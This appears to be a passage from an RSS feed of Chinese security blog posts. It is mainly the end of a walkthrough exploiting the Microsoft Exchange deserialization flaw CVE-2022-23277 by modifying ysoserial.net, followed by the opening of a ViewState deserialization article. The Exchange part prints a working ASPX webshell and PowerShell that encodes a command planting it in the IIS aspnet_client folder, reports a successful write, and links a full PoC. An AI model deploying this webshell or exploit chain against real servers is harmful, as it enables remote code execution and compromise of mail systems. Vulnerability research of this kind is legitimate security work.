data-ratio="0.18321513002364065" title="null" data-w="846" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f6eb38c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5C52nxibbIZlwU0BhwSKuGM9NzQ1ia3eXiaPtt4jV0NTX7Yd1IyTO1IDicg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如果type获取失败即=null，不会进行ValidateTypeToDeserialize，反序列化的controllist会完全失效。跟到Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.LoadType(string, string)：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5819209039548022" title="null" data-w="1062" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e04595f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5OUSUHvHwg6llNhpsVt9dSmENcDTBXF0M2PwIsPmRpTiaFia46qMHuhlA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">发现从多种方式获取Type，如果获取不到最终就会返回null。通过前面的内容我们知道返回null之后会调用FastBindToType函数，最终根据FullTypeName获取到Type。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">SOURCE</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">与CVE-2021–42321一样，只不过要被反序列化的数据发生改变。这里使DataSet的gadgats，通过重写GetObjectData函数对类的AssemblyName属性进行修改:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.43711340206185567" title="null" data-w="970" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=14c5d8ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5yiaRS27wDHEicfktNria2ibvA4ahS85DlEjA7SbuSsWFYNz3aIFicpStdicQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">让AssemblyName是错误的，保证BindToType返回null。让FullTypeName为正常的，保证FastBindToType能正常加载。</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">如下图：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.42674680691209615" title="null" data-w="1331" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4e95cbe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5CDUou7eKwH15to6tmlPS8kcFX1N3hvNtAAiahlxGr94XFujOK3n7Jbg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">FastBindToType最终返回了我们要的类型System.Data.DataSet:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3704545454545455" title="null" data-w="1320" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e9c301d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5hQO0CqEnUo8wO1WdsKdNhUia8uDNobV8jSSonLSMPObPhJGZF02G8Cg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最终可以成功执行：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3946808510638298" title="null" data-w="940" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=56eae2c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5nqp5ib1uMd4pT0XsLCLEqVrSqib4SWNuibBVtlsnbfBsIhZyGRhJiaslMQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3067940552016985" title="null" data-w="942" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=15ba344f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5ibRYTXYKoMC7cQHuODtpCQLkZuoNgB9E30SL5tvXaicmQ2h9o5ic1iaF5w%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">修改POC</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">DataSetTypeSpoofGenerator最终调用ObjectDataProviderGenerator.cs中的Generate方法执行命令，下图为通过ObjectDataProvider执行命令的代码：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.674562306900103" title="null" data-w="971" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=06e8f7a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5OyHo6iajTvff8K03ZvWv0MWfzubpv4G5PIMqR2CWSPbP7ibwXOmCHmicg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过ObjectDataProvider我们可以轻松调用Process.start()启动新进程进而执行命令。尝试修改这部分代码为写入文件时出现问题：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">c#中实现文件写入主要有两个办法：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">方法1通过File.Write()等函数进行写入;方法二是通过StreamWriter.WriteLine()进行写入。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">方法1的问题是File类为一个静态类，无法获取类的实例化对象，也不能通过反射获取到实例，所以ObjectInstance参数无法获取到。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">方法2的问题是StreamWriter使用的时候通过一个方法无法完成字符串的写入，因为还要关闭流，如下：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using (StreamWriter sw = new StreamWriter (@&#34;c:\1.txt&#34;,true,Encoding.UTF8))<br/>      {<br/>        for (int i = 0; i &lt; 100; i++)<br/>        {<br/>          sw.WriteLine(i);<br/>        }<br/>      }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里采用using，类似于python的with open，实际需要关闭，如下：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public virtual void SaveData()<br/>{<br/>   string arqName = string.Format(&#34;Person{0}&#34; + &#34;.txt&#34;, Id);<br/>   StreamWriter file = new StreamWriter(arqNome);<br/>   file.WriteLine(&#34;ID: &#34; + Id);<br/>   file.WriteLine(&#34;DOB: &#34; + dOB);<br/>   file.WriteLine(&#34;Name: &#34; + name);<br/>   file.WriteLine(&#34;Age: &#34; + age);<br/>   file.Flush();<br/>   file.Close();     <br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那么只好使用不那么好用的方式-通过执行命令写入。这里使用powershell排除执行命令特殊字符转义的问题,下图为写入webshell样本：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;%@ Page Language=&#34;JScript&#34; Debug=&#34;true&#34;%&gt;&lt;%@Import Namespace=&#34;System.IO&#34;%&gt;&lt;%File.WriteAllBytes(Request[&#34;b&#34;], Convert.FromBase64String(Request[&#34;a&#34;]));%&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用powershell进行编码：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">$file=Get-Content -Path 1.txt<br/>$MyScript = &#34;Set-Content -Path &#39;C:\inetpub\wwwroot\aspnet_client\1.aspx&#39; -Value &#39;$file&#39;&#34;<br/>$MyEncodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($MyScript))<br/>$MyEncodedScript</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在Burp增加认证：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5771084337349398" title="null" data-w="830" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=87a3f742&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz59IT2mqVEzYjuFNlVvugv5geFOWzoKEjyWlFGYJo4nj9CZzvcD7MLoA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">利用成功写入webshell：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.29844559585492225" title="null" data-w="965" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8810b418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz57FBVvtF67rNYp7sicVqwunMMLUKdrmibM3JUCagfgU1eJvibfjEx1rlwQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">完整的POC及修改过的ysoerial.net</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://github.com/7BitsTeam/CVE-2022-23277" target="_blank">https://github.com/7BitsTeam/CVE-2022-23277</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html" target="_blank">https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html" target="_blank">https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://referencesource.microsoft.com/#mscorlib/system/runtime/serialization/formatters/binary/binaryformatter.cs" target="_blank">https://referencesource.microsoft.com/#mscorlib/system/runtime/serialization/formatters/binary/binaryformatter.cs</a></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499229">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45ce26a2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499229%26idx%3D1%26sn%3D089ef2477b4d07749cffcad2d6372479%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 25 Oct 2022 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-ViewState反序列化利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499203&amp;idx=1&amp;sn=6dcd6418c4d25db7772cafa43c71a04c</link>
      <description>ViewState 反序列化利用</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-18 09:15</span> <span style="display: inline-block;">江苏</span>
</p>

<p>ViewState 反序列化利用</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8f6574d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkc7xQZa7dBzibgY1Ilgp5JibfxNzzxZ3jfep9GjVxqcUUKtO0b0ao0Nn1Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.82px;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">ViewState 反序列化</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">一、引言</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">这周有朋友问</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4228395061728395" title="null" data-w="324" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd903394&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkckZ1fcJ1HImAgDkvKHd1lYQDLBvLHcn4ZdM9Noplib9iaxiaib08MN9uHvA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">碰巧自己也没听说过，问了身边的朋友，大概两三年前就出现了，exchange 的 CVE-2020-0688 也是因为 viewstate 的反序列化，成为第一个能直接在 exchange 服务器上执行命令的漏洞。参考外文的介绍自己搭建环境复现了一下，感觉还是挺有趣的，后续也会对 exchange 的 0688 进行复现。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">二、什么是 ViewState？</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ViewState 基本上由服务器生成，并以隐藏的表单字段 “__VIEWSTATE” 的形式发送给客户端，用于“POST”请求。当 Web 应用程序进行 POST 请求时，客户端将其发送到服务器。ViewState 以序列化数据的形式出现，当客户端再次进行请求(ViewState)被发送到服务器时，将进行反序列化。<br/>ASP.NET 有各种序列化和反序列化库，称为 formatter ，它序列化对象到字节流，反之亦然(反序列化字节流到对象)。如<span style="letter-spacing: 